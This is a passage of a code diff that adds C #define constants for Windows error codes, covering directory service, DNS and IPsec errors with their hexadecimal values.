ERROR_DS_DRA_INCOMPATIBLE_PARTIAL_SET 0x2110 +#define ERROR_DS_DRA_SOURCE_IS_PARTIAL_REPLICA 0x2111 +#define ERROR_DS_DRA_EXTN_CONNECTION_FAILED 0x2112 +#define ERROR_DS_INSTALL_SCHEMA_MISMATCH 0x2113 +#define ERROR_DS_DUP_LINK_ID 0x2114 +#define ERROR_DS_NAME_ERROR_RESOLVING 0x2115 +#define ERROR_DS_NAME_ERROR_NOT_FOUND 0x2116 +#define ERROR_DS_NAME_ERROR_NOT_UNIQUE 0x2117 +#define ERROR_DS_NAME_ERROR_NO_MAPPING 0x2118 +#define ERROR_DS_NAME_ERROR_DOMAIN_ONLY 0x2119 +#define ERROR_DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING 0x211a +#define ERROR_DS_CONSTRUCTED_ATT_MOD 0x211b +#define ERROR_DS_WRONG_OM_OBJ_CLASS 0x211c +#define ERROR_DS_DRA_REPL_PENDING 0x211d +#define ERROR_DS_DS_REQUIRED 0x211e +#define ERROR_DS_INVALID_LDAP_DISPLAY_NAME 0x211f +#define ERROR_DS_NON_BASE_SEARCH 0x2120 +#define ERROR_DS_CANT_RETRIEVE_ATTS 0x2121 +#define ERROR_DS_BACKLINK_WITHOUT_LINK 0x2122 +#define ERROR_DS_EPOCH_MISMATCH 0x2123 +#define ERROR_DS_SRC_NAME_MISMATCH 0x2124 +#define ERROR_DS_SRC_AND_DST_NC_IDENTICAL 0x2125 +#define ERROR_DS_DST_NC_MISMATCH 0x2126 +#define ERROR_DS_NOT_AUTHORITIVE_FOR_DST_NC 0x2127 +#define ERROR_DS_SRC_GUID_MISMATCH 0x2128 +#define ERROR_DS_CANT_MOVE_DELETED_OBJECT 0x2129 +#define ERROR_DS_PDC_OPERATION_IN_PROGRESS 0x212a +#define ERROR_DS_CROSS_DOMAIN_CLEANUP_REQD 0x212b +#define ERROR_DS_ILLEGAL_XDOM_MOVE_OPERATION 0x212c +#define ERROR_DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS 0x212d +#define ERROR_DS_NC_MUST_HAVE_NC_PARENT 0x212e +#define ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE 0x212f +#define ERROR_DS_DST_DOMAIN_NOT_NATIVE 0x2130 +#define ERROR_DS_MISSING_INFRASTRUCTURE_CONTAINER 0x2131 +#define ERROR_DS_CANT_MOVE_ACCOUNT_GROUP 0x2132 +#define ERROR_DS_CANT_MOVE_RESOURCE_GROUP 0x2133 +#define ERROR_DS_INVALID_SEARCH_FLAG 0x2134 +#define ERROR_DS_NO_TREE_DELETE_ABOVE_NC 0x2135 +#define ERROR_DS_COULDNT_LOCK_TREE_FOR_DELETE 0x2136 +#define ERROR_DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE 0x2137 +#define ERROR_DS_SAM_INIT_FAILURE 0x2138 +#define ERROR_DS_SENSITIVE_GROUP_VIOLATION 0x2139 +#define ERROR_DS_CANT_MOD_PRIMARYGROUPID 0x213a +#define ERROR_DS_ILLEGAL_BASE_SCHEMA_MOD 0x213b +#define ERROR_DS_NONSAFE_SCHEMA_CHANGE 0x213c +#define ERROR_DS_SCHEMA_UPDATE_DISALLOWED 0x213d +#define ERROR_DS_CANT_CREATE_UNDER_SCHEMA 0x213e +#define ERROR_DS_INSTALL_NO_SRC_SCH_VERSION 0x213f +#define ERROR_DS_INSTALL_NO_SCH_VERSION_IN_INIFILE 0x2140 +#define ERROR_DS_INVALID_GROUP_TYPE 0x2141 +#define ERROR_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN 0x2142 +#define ERROR_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN 0x2143 +#define ERROR_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER 0x2144 +#define ERROR_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER 0x2145 +#define ERROR_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER 0x2146 +#define ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER 0x2147 +#define ERROR_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER 0x2148 +#define ERROR_DS_HAVE_PRIMARY_MEMBERS 0x2149 +#define ERROR_DS_STRING_SD_CONVERSION_FAILED 0x214a +#define ERROR_DS_NAMING_MASTER_GC 0x214b +#define ERROR_DS_DNS_LOOKUP_FAILURE 0x214c +#define ERROR_DS_COULDNT_UPDATE_SPNS 0x214d +#define ERROR_DS_CANT_RETRIEVE_SD 0x214e +#define ERROR_DS_KEY_NOT_UNIQUE 0x214f +#define ERROR_DS_WRONG_LINKED_ATT_SYNTAX 0x2150 +#define ERROR_DS_SAM_NEED_BOOTKEY_PASSWORD 0x2151 +#define ERROR_DS_SAM_NEED_BOOTKEY_FLOPPY 0x2152 +#define ERROR_DS_CANT_START 0x2153 +#define ERROR_DS_INIT_FAILURE 0x2154 +#define ERROR_DS_NO_PKT_PRIVACY_ON_CONNECTION 0x2155 +#define ERROR_DS_SOURCE_DOMAIN_IN_FOREST 0x2156 +#define ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST 0x2157 +#define ERROR_DS_DESTINATION_AUDITING_NOT_ENABLED 0x2158 +#define ERROR_DS_CANT_FIND_DC_FOR_SRC_DOMAIN 0x2159 +#define ERROR_DS_SRC_OBJ_NOT_GROUP_OR_USER 0x215a +#define ERROR_DS_SRC_SID_EXISTS_IN_FOREST 0x215b +#define ERROR_DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH 0x215c +#define ERROR_SAM_INIT_FAILURE 0x215d +#define ERROR_DS_DRA_SCHEMA_INFO_SHIP 0x215e +#define ERROR_DS_DRA_SCHEMA_CONFLICT 0x215f +#define ERROR_DS_DRA_EARLIER_SCHEMA_CONFLICT 0x2160 +#define ERROR_DS_DRA_OBJ_NC_MISMATCH 0x2161 +#define ERROR_DS_NC_STILL_HAS_DSAS 0x2162 +#define ERROR_DS_GC_REQUIRED 0x2163 +#define ERROR_DS_LOCAL_MEMBER_OF_LOCAL_ONLY 0x2164 +#define ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS 0x2165 +#define ERROR_DS_CANT_ADD_TO_GC 0x2166 +#define ERROR_DS_NO_CHECKPOINT_WITH_PDC 0x2167 +#define ERROR_DS_SOURCE_AUDITING_NOT_ENABLED 0x2168 +#define ERROR_DS_CANT_CREATE_IN_NONDOMAIN_NC 0x2169 +#define ERROR_DS_INVALID_NAME_FOR_SPN 0x216a +#define ERROR_DS_FILTER_USES_CONTRUCTED_ATTRS 0x216b +#define ERROR_DS_UNICODEPWD_NOT_IN_QUOTES 0x216c +#define ERROR_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED 0x216d +#define ERROR_DS_MUST_BE_RUN_ON_DST_DC 0x216e +#define ERROR_DS_SRC_DC_MUST_BE_SP4_OR_GREATER 0x216f +#define ERROR_DS_CANT_TREE_DELETE_CRITICAL_OBJ 0x2170 +#define ERROR_DS_INIT_FAILURE_CONSOLE 0x2171 +#define ERROR_DS_SAM_INIT_FAILURE_CONSOLE 0x2172 +#define ERROR_DS_FOREST_VERSION_TOO_HIGH 0x2173 +#define ERROR_DS_DOMAIN_VERSION_TOO_HIGH 0x2174 +#define ERROR_DS_FOREST_VERSION_TOO_LOW 0x2175 +#define ERROR_DS_DOMAIN_VERSION_TOO_LOW 0x2176 +#define ERROR_DS_INCOMPATIBLE_VERSION 0x2177 +#define ERROR_DS_LOW_DSA_VERSION 0x2178 +#define ERROR_DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN 0x2179 +#define ERROR_DS_NOT_SUPPORTED_SORT_ORDER 0x217a +#define ERROR_DS_NAME_NOT_UNIQUE 0x217b +#define ERROR_DS_MACHINE_ACCOUNT_CREATED_PRENT4 0x217c +#define ERROR_DS_OUT_OF_VERSION_STORE 0x217d +#define ERROR_DS_INCOMPATIBLE_CONTROLS_USED 0x217e +#define ERROR_DS_NO_REF_DOMAIN 0x217f +#define ERROR_DS_RESERVED_LINK_ID 0x2180 +#define ERROR_DS_LINK_ID_NOT_AVAILABLE 0x2181 +#define ERROR_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER 0x2182 +#define ERROR_DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE 0x2183 +#define ERROR_DS_NO_OBJECT_MOVE_IN_SCHEMA_NC 0x2184 +#define ERROR_DS_MODIFYDN_DISALLOWED_BY_FLAG 0x2185 +#define ERROR_DS_MODIFYDN_WRONG_GRANDPARENT 0x2186 +#define ERROR_DS_NAME_ERROR_TRUST_REFERRAL 0x2187 +#define ERROR_NOT_SUPPORTED_ON_STANDARD_SERVER 0x2188 +#define ERROR_DS_CANT_ACCESS_REMOTE_PART_OF_AD 0x2189 +#define ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE_V2 0x218a +#define ERROR_DS_THREAD_LIMIT_EXCEEDED 0x218b +#define ERROR_DS_NOT_CLOSEST 0x218c +#define ERROR_DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF 0x218d +#define ERROR_DS_SINGLE_USER_MODE_FAILED 0x218e +#define ERROR_DS_NTDSCRIPT_SYNTAX_ERROR 0x218f +#define ERROR_DS_NTDSCRIPT_PROCESS_ERROR 0x2190 +#define ERROR_DS_DIFFERENT_REPL_EPOCHS 0x2191 +#define ERROR_DS_DRS_EXTENSIONS_CHANGED 0x2192 +#define ERROR_DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR 0x2193 +#define ERROR_DS_NO_MSDS_INTID 0x2194 +#define ERROR_DS_DUP_MSDS_INTID 0x2195 +#define ERROR_DS_EXISTS_IN_RDNATTID 0x2196 +#define ERROR_DS_AUTHORIZATION_FAILED 0x2197 +#define ERROR_DS_INVALID_SCRIPT 0x2198 +#define ERROR_DS_REMOTE_CROSSREF_OP_FAILED 0x2199 +#define ERROR_DS_CROSS_REF_BUSY 0x219a +#define ERROR_DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN 0x219b +#define ERROR_DS_CANT_DEMOTE_WITH_WRITEABLE_NC 0x219c +#define ERROR_DS_DUPLICATE_ID_FOUND 0x219d +#define ERROR_DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT 0x219e +#define ERROR_DS_GROUP_CONVERSION_ERROR 0x219f +#define ERROR_DS_CANT_MOVE_APP_BASIC_GROUP 0x21a0 +#define ERROR_DS_CANT_MOVE_APP_QUERY_GROUP 0x21a1 +#define ERROR_DS_ROLE_NOT_VERIFIED 0x21a2 +#define ERROR_DS_WKO_CONTAINER_CANNOT_BE_SPECIAL 0x21a3 +#define ERROR_DS_DOMAIN_RENAME_IN_PROGRESS 0x21a4 +#define ERROR_DS_EXISTING_AD_CHILD_NC 0x21a5 +#define ERROR_DS_REPL_LIFETIME_EXCEEDED 0x21a6 +#define ERROR_DS_DISALLOWED_IN_SYSTEM_CONTAINER 0x21a7 +#define ERROR_DS_LDAP_SEND_QUEUE_FULL 0x21a8 +#define ERROR_DS_DRA_OUT_SCHEDULE_WINDOW 0x21a9 +#define ERROR_DS_POLICY_NOT_KNOWN 0x21aa +#define ERROR_NO_SITE_SETTINGS_OBJECT 0x21ab +#define ERROR_NO_SECRETS 0x21ac +#define ERROR_NO_WRITABLE_DC_FOUND 0x21ad +#define ERROR_DS_NO_SERVER_OBJECT 0x21ae +#define ERROR_DS_NO_NTDSA_OBJECT 0x21af +#define ERROR_DS_NON_ASQ_SEARCH 0x21b0 +#define ERROR_DS_AUDIT_FAILURE 0x21b1 +#define ERROR_DS_INVALID_SEARCH_FLAG_SUBTREE 0x21b2 +#define ERROR_DS_INVALID_SEARCH_FLAG_TUPLE 0x21b3 +#define ERROR_DS_HIERARCHY_TABLE_TOO_DEEP 0x21b4 +#define ERROR_DS_DRA_CORRUPT_UTD_VECTOR 0x21b5 +#define ERROR_DS_DRA_SECRETS_DENIED 0x21b6 +#define ERROR_DS_RESERVED_MAPI_ID 0x21b7 +#define ERROR_DS_MAPI_ID_NOT_AVAILABLE 0x21b8 +#define ERROR_DS_DRA_MISSING_KRBTGT_SECRET 0x21b9 +#define ERROR_DS_DOMAIN_NAME_EXISTS_IN_FOREST 0x21ba +#define ERROR_DS_FLAT_NAME_EXISTS_IN_FOREST 0x21bb +#define ERROR_INVALID_USER_PRINCIPAL_NAME 0x21bc +#define ERROR_DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS 0x21bd +#define ERROR_DS_OID_NOT_FOUND 0x21be +#define ERROR_DS_DRA_RECYCLED_TARGET 0x21bf +#define ERROR_DS_DISALLOWED_NC_REDIRECT 0x21c0 +#define ERROR_DS_HIGH_ADLDS_FFL 0x21c1 +#define ERROR_DS_HIGH_DSA_VERSION 0x21c2 +#define ERROR_DS_LOW_ADLDS_FFL 0x21c3 +#define ERROR_DOMAIN_SID_SAME_AS_LOCAL_WORKSTATION 0x21c4 +#define ERROR_DS_UNDELETE_SAM_VALIDATION_FAILED 0x21c5 +#define ERROR_INCORRECT_ACCOUNT_TYPE 0x21c6 +#define ERROR_DS_SPN_VALUE_NOT_UNIQUE_IN_FOREST 0x21c7 +#define ERROR_DS_UPN_VALUE_NOT_UNIQUE_IN_FOREST 0x21c8 +#define ERROR_DS_MISSING_FOREST_TRUST 0x21c9 +#define ERROR_DS_VALUE_KEY_NOT_UNIQUE 0x21ca +#define ERROR_WEAK_WHFBKEY_BLOCKED 0x21cb +#define ERROR_DS_PER_ATTRIBUTE_AUTHZ_FAILED_DURING_ADD 0x21cc +#define ERROR_LOCAL_POLICY_MODIFICATION_NOT_SUPPORTED 0x21cd +#define ERROR_POLICY_CONTROLLED_ACCOUNT 0x21ce +#define ERROR_LAPS_LEGACY_SCHEMA_MISSING 0x21cf +#define ERROR_LAPS_SCHEMA_MISSING 0x21d0 +#define ERROR_LAPS_ENCRYPTION_REQUIRES_2016_DFL 0x21d1 +#define ERROR_LAPS_PROCESS_TERMINATED 0x21d2 +#define ERROR_DS_JET_RECORD_TOO_BIG 0x21d3 +#define ERROR_DS_REPLICA_PAGE_SIZE_MISMATCH 0x21d4 +#define DNS_ERROR_RESPONSE_CODES_BASE 0x2328 +#define DNS_ERROR_RCODE_NO_ERROR 0x0 +#define DNS_ERROR_MASK 0x2328 +#define DNS_ERROR_RCODE_FORMAT_ERROR 0x2329 +#define DNS_ERROR_RCODE_SERVER_FAILURE 0x232a +#define DNS_ERROR_RCODE_NAME_ERROR 0x232b +#define DNS_ERROR_RCODE_NOT_IMPLEMENTED 0x232c +#define DNS_ERROR_RCODE_REFUSED 0x232d +#define DNS_ERROR_RCODE_YXDOMAIN 0x232e +#define DNS_ERROR_RCODE_YXRRSET 0x232f +#define DNS_ERROR_RCODE_NXRRSET 0x2330 +#define DNS_ERROR_RCODE_NOTAUTH 0x2331 +#define DNS_ERROR_RCODE_NOTZONE 0x2332 +#define DNS_ERROR_RCODE_BADSIG 0x2338 +#define DNS_ERROR_RCODE_BADKEY 0x2339 +#define DNS_ERROR_RCODE_BADTIME 0x233a +#define DNS_ERROR_RCODE_LAST 0x233a +#define DNS_ERROR_DNSSEC_BASE 0x238c +#define DNS_ERROR_KEYMASTER_REQUIRED 0x238d +#define DNS_ERROR_NOT_ALLOWED_ON_SIGNED_ZONE 0x238e +#define DNS_ERROR_NSEC3_INCOMPATIBLE_WITH_RSA_SHA1 0x238f +#define DNS_ERROR_NOT_ENOUGH_SIGNING_KEY_DESCRIPTORS 0x2390 +#define DNS_ERROR_UNSUPPORTED_ALGORITHM 0x2391 +#define DNS_ERROR_INVALID_KEY_SIZE 0x2392 +#define DNS_ERROR_SIGNING_KEY_NOT_ACCESSIBLE 0x2393 +#define DNS_ERROR_KSP_DOES_NOT_SUPPORT_PROTECTION 0x2394 +#define DNS_ERROR_UNEXPECTED_DATA_PROTECTION_ERROR 0x2395 +#define DNS_ERROR_UNEXPECTED_CNG_ERROR 0x2396 +#define DNS_ERROR_UNKNOWN_SIGNING_PARAMETER_VERSION 0x2397 +#define DNS_ERROR_KSP_NOT_ACCESSIBLE 0x2398 +#define DNS_ERROR_TOO_MANY_SKDS 0x2399 +#define DNS_ERROR_INVALID_ROLLOVER_PERIOD 0x239a +#define DNS_ERROR_INVALID_INITIAL_ROLLOVER_OFFSET 0x239b +#define DNS_ERROR_ROLLOVER_IN_PROGRESS 0x239c +#define DNS_ERROR_STANDBY_KEY_NOT_PRESENT 0x239d +#define DNS_ERROR_NOT_ALLOWED_ON_ZSK 0x239e +#define DNS_ERROR_NOT_ALLOWED_ON_ACTIVE_SKD 0x239f +#define DNS_ERROR_ROLLOVER_ALREADY_QUEUED 0x23a0 +#define DNS_ERROR_NOT_ALLOWED_ON_UNSIGNED_ZONE 0x23a1 +#define DNS_ERROR_BAD_KEYMASTER 0x23a2 +#define DNS_ERROR_INVALID_SIGNATURE_VALIDITY_PERIOD 0x23a3 +#define DNS_ERROR_INVALID_NSEC3_ITERATION_COUNT 0x23a4 +#define DNS_ERROR_DNSSEC_IS_DISABLED 0x23a5 +#define DNS_ERROR_INVALID_XML 0x23a6 +#define DNS_ERROR_NO_VALID_TRUST_ANCHORS 0x23a7 +#define DNS_ERROR_ROLLOVER_NOT_POKEABLE 0x23a8 +#define DNS_ERROR_NSEC3_NAME_COLLISION 0x23a9 +#define DNS_ERROR_NSEC_INCOMPATIBLE_WITH_NSEC3_RSA_SHA1 0x23aa +#define DNS_ERROR_PACKET_FMT_BASE 0x251c +#define DNS_ERROR_BAD_PACKET 0x251e +#define DNS_ERROR_NO_PACKET 0x251f +#define DNS_ERROR_RCODE 0x2520 +#define DNS_ERROR_UNSECURE_PACKET 0x2521 +#define DNS_ERROR_NO_MEMORY 0xe +#define DNS_ERROR_INVALID_NAME 0x7b +#define DNS_ERROR_INVALID_DATA 0xd +#define DNS_ERROR_GENERAL_API_BASE 0x254e +#define DNS_ERROR_INVALID_TYPE 0x254f +#define DNS_ERROR_INVALID_IP_ADDRESS 0x2550 +#define DNS_ERROR_INVALID_PROPERTY 0x2551 +#define DNS_ERROR_TRY_AGAIN_LATER 0x2552 +#define DNS_ERROR_NOT_UNIQUE 0x2553 +#define DNS_ERROR_NON_RFC_NAME 0x2554 +#define DNS_ERROR_INVALID_NAME_CHAR 0x2558 +#define DNS_ERROR_NUMERIC_NAME 0x2559 +#define DNS_ERROR_NOT_ALLOWED_ON_ROOT_SERVER 0x255a +#define DNS_ERROR_NOT_ALLOWED_UNDER_DELEGATION 0x255b +#define DNS_ERROR_CANNOT_FIND_ROOT_HINTS 0x255c +#define DNS_ERROR_INCONSISTENT_ROOT_HINTS 0x255d +#define DNS_ERROR_DWORD_VALUE_TOO_SMALL 0x255e +#define DNS_ERROR_DWORD_VALUE_TOO_LARGE 0x255f +#define DNS_ERROR_BACKGROUND_LOADING 0x2560 +#define DNS_ERROR_NOT_ALLOWED_ON_RODC 0x2561 +#define DNS_ERROR_NOT_ALLOWED_UNDER_DNAME 0x2562 +#define DNS_ERROR_DELEGATION_REQUIRED 0x2563 +#define DNS_ERROR_INVALID_POLICY_TABLE 0x2564 +#define DNS_ERROR_ADDRESS_REQUIRED 0x2565 +#define DNS_ERROR_ZONE_BASE 0x2580 +#define DNS_ERROR_ZONE_DOES_NOT_EXIST 0x2581 +#define DNS_ERROR_NO_ZONE_INFO 0x2582 +#define DNS_ERROR_INVALID_ZONE_OPERATION 0x2583 +#define DNS_ERROR_ZONE_CONFIGURATION_ERROR 0x2584 +#define DNS_ERROR_ZONE_HAS_NO_SOA_RECORD 0x2585 +#define DNS_ERROR_ZONE_HAS_NO_NS_RECORDS 0x2586 +#define DNS_ERROR_ZONE_LOCKED 0x2587 +#define DNS_ERROR_ZONE_CREATION_FAILED 0x2588 +#define DNS_ERROR_ZONE_ALREADY_EXISTS 0x2589 +#define DNS_ERROR_AUTOZONE_ALREADY_EXISTS 0x258a +#define DNS_ERROR_INVALID_ZONE_TYPE 0x258b +#define DNS_ERROR_SECONDARY_REQUIRES_MASTER_IP 0x258c +#define DNS_ERROR_ZONE_NOT_SECONDARY 0x258d +#define DNS_ERROR_NEED_SECONDARY_ADDRESSES 0x258e +#define DNS_ERROR_WINS_INIT_FAILED 0x258f +#define DNS_ERROR_NEED_WINS_SERVERS 0x2590 +#define DNS_ERROR_NBSTAT_INIT_FAILED 0x2591 +#define DNS_ERROR_SOA_DELETE_INVALID 0x2592 +#define DNS_ERROR_FORWARDER_ALREADY_EXISTS 0x2593 +#define DNS_ERROR_ZONE_REQUIRES_MASTER_IP 0x2594 +#define DNS_ERROR_ZONE_IS_SHUTDOWN 0x2595 +#define DNS_ERROR_ZONE_LOCKED_FOR_SIGNING 0x2596 +#define DNS_ERROR_DATAFILE_BASE 0x25b2 +#define DNS_ERROR_PRIMARY_REQUIRES_DATAFILE 0x25b3 +#define DNS_ERROR_INVALID_DATAFILE_NAME 0x25b4 +#define DNS_ERROR_DATAFILE_OPEN_FAILURE 0x25b5 +#define DNS_ERROR_FILE_WRITEBACK_FAILED 0x25b6 +#define DNS_ERROR_DATAFILE_PARSING 0x25b7 +#define DNS_ERROR_DATABASE_BASE 0x25e4 +#define DNS_ERROR_RECORD_DOES_NOT_EXIST 0x25e5 +#define DNS_ERROR_RECORD_FORMAT 0x25e6 +#define DNS_ERROR_NODE_CREATION_FAILED 0x25e7 +#define DNS_ERROR_UNKNOWN_RECORD_TYPE 0x25e8 +#define DNS_ERROR_RECORD_TIMED_OUT 0x25e9 +#define DNS_ERROR_NAME_NOT_IN_ZONE 0x25ea +#define DNS_ERROR_CNAME_LOOP 0x25eb +#define DNS_ERROR_NODE_IS_CNAME 0x25ec +#define DNS_ERROR_CNAME_COLLISION 0x25ed +#define DNS_ERROR_RECORD_ONLY_AT_ZONE_ROOT 0x25ee +#define DNS_ERROR_RECORD_ALREADY_EXISTS 0x25ef +#define DNS_ERROR_SECONDARY_DATA 0x25f0 +#define DNS_ERROR_NO_CREATE_CACHE_DATA 0x25f1 +#define DNS_ERROR_NAME_DOES_NOT_EXIST 0x25f2 +#define DNS_ERROR_DS_UNAVAILABLE 0x25f5 +#define DNS_ERROR_DS_ZONE_ALREADY_EXISTS 0x25f6 +#define DNS_ERROR_NO_BOOTFILE_IF_DS_ZONE 0x25f7 +#define DNS_ERROR_NODE_IS_DNAME 0x25f8 +#define DNS_ERROR_DNAME_COLLISION 0x25f9 +#define DNS_ERROR_ALIAS_LOOP 0x25fa +#define DNS_ERROR_OPERATION_BASE 0x2616 +#define DNS_ERROR_AXFR 0x2618 +#define DNS_ERROR_SECURE_BASE 0x2648 +#define DNS_ERROR_SETUP_BASE 0x267a +#define DNS_ERROR_NO_TCPIP 0x267b +#define DNS_ERROR_NO_DNS_SERVERS 0x267c +#define DNS_ERROR_DP_BASE 0x26ac +#define DNS_ERROR_DP_DOES_NOT_EXIST 0x26ad +#define DNS_ERROR_DP_ALREADY_EXISTS 0x26ae +#define DNS_ERROR_DP_NOT_ENLISTED 0x26af +#define DNS_ERROR_DP_ALREADY_ENLISTED 0x26b0 +#define DNS_ERROR_DP_NOT_AVAILABLE 0x26b1 +#define DNS_ERROR_DP_FSMO_ERROR 0x26b2 +#define DNS_ERROR_RRL_NOT_ENABLED 0x26b7 +#define DNS_ERROR_RRL_INVALID_WINDOW_SIZE 0x26b8 +#define DNS_ERROR_RRL_INVALID_IPV4_PREFIX 0x26b9 +#define DNS_ERROR_RRL_INVALID_IPV6_PREFIX 0x26ba +#define DNS_ERROR_RRL_INVALID_TC_RATE 0x26bb +#define DNS_ERROR_RRL_INVALID_LEAK_RATE 0x26bc +#define DNS_ERROR_RRL_LEAK_RATE_LESSTHAN_TC_RATE 0x26bd +#define DNS_ERROR_VIRTUALIZATION_INSTANCE_ALREADY_EXISTS 0x26c1 +#define DNS_ERROR_VIRTUALIZATION_INSTANCE_DOES_NOT_EXIST 0x26c2 +#define DNS_ERROR_VIRTUALIZATION_TREE_LOCKED 0x26c3 +#define DNS_ERROR_INVAILD_VIRTUALIZATION_INSTANCE_NAME 0x26c4 +#define DNS_ERROR_DEFAULT_VIRTUALIZATION_INSTANCE 0x26c5 +#define DNS_ERROR_ZONESCOPE_ALREADY_EXISTS 0x26df +#define DNS_ERROR_ZONESCOPE_DOES_NOT_EXIST 0x26e0 +#define DNS_ERROR_DEFAULT_ZONESCOPE 0x26e1 +#define DNS_ERROR_INVALID_ZONESCOPE_NAME 0x26e2 +#define DNS_ERROR_NOT_ALLOWED_WITH_ZONESCOPES 0x26e3 +#define DNS_ERROR_LOAD_ZONESCOPE_FAILED 0x26e4 +#define DNS_ERROR_ZONESCOPE_FILE_WRITEBACK_FAILED 0x26e5 +#define DNS_ERROR_INVALID_SCOPE_NAME 0x26e6 +#define DNS_ERROR_SCOPE_DOES_NOT_EXIST 0x26e7 +#define DNS_ERROR_DEFAULT_SCOPE 0x26e8 +#define DNS_ERROR_INVALID_SCOPE_OPERATION 0x26e9 +#define DNS_ERROR_SCOPE_LOCKED 0x26ea +#define DNS_ERROR_SCOPE_ALREADY_EXISTS 0x26eb +#define DNS_ERROR_POLICY_ALREADY_EXISTS 0x26f3 +#define DNS_ERROR_POLICY_DOES_NOT_EXIST 0x26f4 +#define DNS_ERROR_POLICY_INVALID_CRITERIA 0x26f5 +#define DNS_ERROR_POLICY_INVALID_SETTINGS 0x26f6 +#define DNS_ERROR_CLIENT_SUBNET_IS_ACCESSED 0x26f7 +#define DNS_ERROR_CLIENT_SUBNET_DOES_NOT_EXIST 0x26f8 +#define DNS_ERROR_CLIENT_SUBNET_ALREADY_EXISTS 0x26f9 +#define DNS_ERROR_SUBNET_DOES_NOT_EXIST 0x26fa +#define DNS_ERROR_SUBNET_ALREADY_EXISTS 0x26fb +#define DNS_ERROR_POLICY_LOCKED 0x26fc +#define DNS_ERROR_POLICY_INVALID_WEIGHT 0x26fd +#define DNS_ERROR_POLICY_INVALID_NAME 0x26fe +#define DNS_ERROR_POLICY_MISSING_CRITERIA 0x26ff +#define DNS_ERROR_INVALID_CLIENT_SUBNET_NAME 0x2700 +#define DNS_ERROR_POLICY_PROCESSING_ORDER_INVALID 0x2701 +#define DNS_ERROR_POLICY_SCOPE_MISSING 0x2702 +#define DNS_ERROR_POLICY_SCOPE_NOT_ALLOWED 0x2703 +#define DNS_ERROR_SERVERSCOPE_IS_REFERENCED 0x2704 +#define DNS_ERROR_ZONESCOPE_IS_REFERENCED 0x2705 +#define DNS_ERROR_POLICY_INVALID_CRITERIA_CLIENT_SUBNET 0x2706 +#define DNS_ERROR_POLICY_INVALID_CRITERIA_TRANSPORT_PROTOCOL 0x2707 +#define DNS_ERROR_POLICY_INVALID_CRITERIA_NETWORK_PROTOCOL 0x2708 +#define DNS_ERROR_POLICY_INVALID_CRITERIA_INTERFACE 0x2709 +#define DNS_ERROR_POLICY_INVALID_CRITERIA_FQDN 0x270a +#define DNS_ERROR_POLICY_INVALID_CRITERIA_QUERY_TYPE 0x270b +#define DNS_ERROR_POLICY_INVALID_CRITERIA_TIME_OF_DAY 0x270c +#define ERROR_IPSEC_QM_POLICY_EXISTS 0x32c8 +#define ERROR_IPSEC_QM_POLICY_NOT_FOUND 0x32c9 +#define ERROR_IPSEC_QM_POLICY_IN_USE 0x32ca +#define ERROR_IPSEC_MM_POLICY_EXISTS 0x32cb +#define ERROR_IPSEC_MM_POLICY_NOT_FOUND 0x32cc +#define ERROR_IPSEC_MM_POLICY_IN_USE 0x32cd +#define ERROR_IPSEC_MM_FILTER_EXISTS 0x32ce +#define ERROR_IPSEC_MM_FILTER_NOT_FOUND 0x32cf +#define ERROR_IPSEC_TRANSPORT_FILTER_EXISTS 0x32d0 +#define ERROR_IPSEC_TRANSPORT_FILTER_NOT_FOUND 0x32d1 +#define ERROR_IPSEC_MM_AUTH_EXISTS 0x32d2 +#define ERROR_IPSEC_MM_AUTH_NOT_FOUND 0x32d3 +#define ERROR_IPSEC_MM_AUTH_IN_USE 0x32d4 +#define ERROR_IPSEC_DEFAULT_MM_POLICY_NOT_FOUND 0x32d5 +#define ERROR_IPSEC_DEFAULT_MM_AUTH_NOT_FOUND 0x32d6 +#define ERROR_IPSEC_DEFAULT_QM_POLICY_NOT_FOUND 0x32d7 +#define ERROR_IPSEC_TUNNEL_FILTER_EXISTS 0x32d8 +#define ERROR_IPSEC_TUNNEL_FILTER_NOT_FOUND 0x32d9 +#define ERROR_IPSEC_MM_FILTER_PENDING_DELETION 0x32da +#define ERROR_IPSEC_TRANSPORT_FILTER_PENDING_DELETION 0x32db +#define ERROR_IPSEC_TUNNEL_FILTER_PENDING_DELETION 0x32dc +#define ERROR_IPSEC_MM_POLICY_PENDING_DELETION 0x32dd +#define ERROR_IPSEC_MM_AUTH_PENDING_DELETION 0x32de +#define ERROR_IPSEC_QM_POLICY_PENDING_DELETION 0x32df +#define ERROR_IPSEC_IKE_NEG_STATUS_BEGIN 0x35e8 +#define ERROR_IPSEC_IKE_AUTH_FAIL 0x35e9 +#define ERROR_IPSEC_IKE_ATTRIB_FAIL 0x35ea +#define ERROR_IPSEC_IKE_NEGOTIATION_PENDING 0x35eb +#define ERROR_IPSEC_IKE_GENERAL_PROCESSING_ERROR 0x35ec +#define ERROR_IPSEC_IKE_TIMED_OUT 0x35ed +#define ERROR_IPSEC_IKE_NO_CERT 0x35ee +#define ERROR_IPSEC_IKE_SA_DELETED 0x35ef +#define ERROR_IPSEC_IKE_SA_REAPED 0x35f0 +#define ERROR_IPSEC_IKE_MM_ACQUIRE_DROP 0x35f1 +#define ERROR_IPSEC_IKE_QM_ACQUIRE_DROP 0x35f2 +#define ERROR_IPSEC_IKE_QUEUE_DROP_MM 0x35f3 +#define 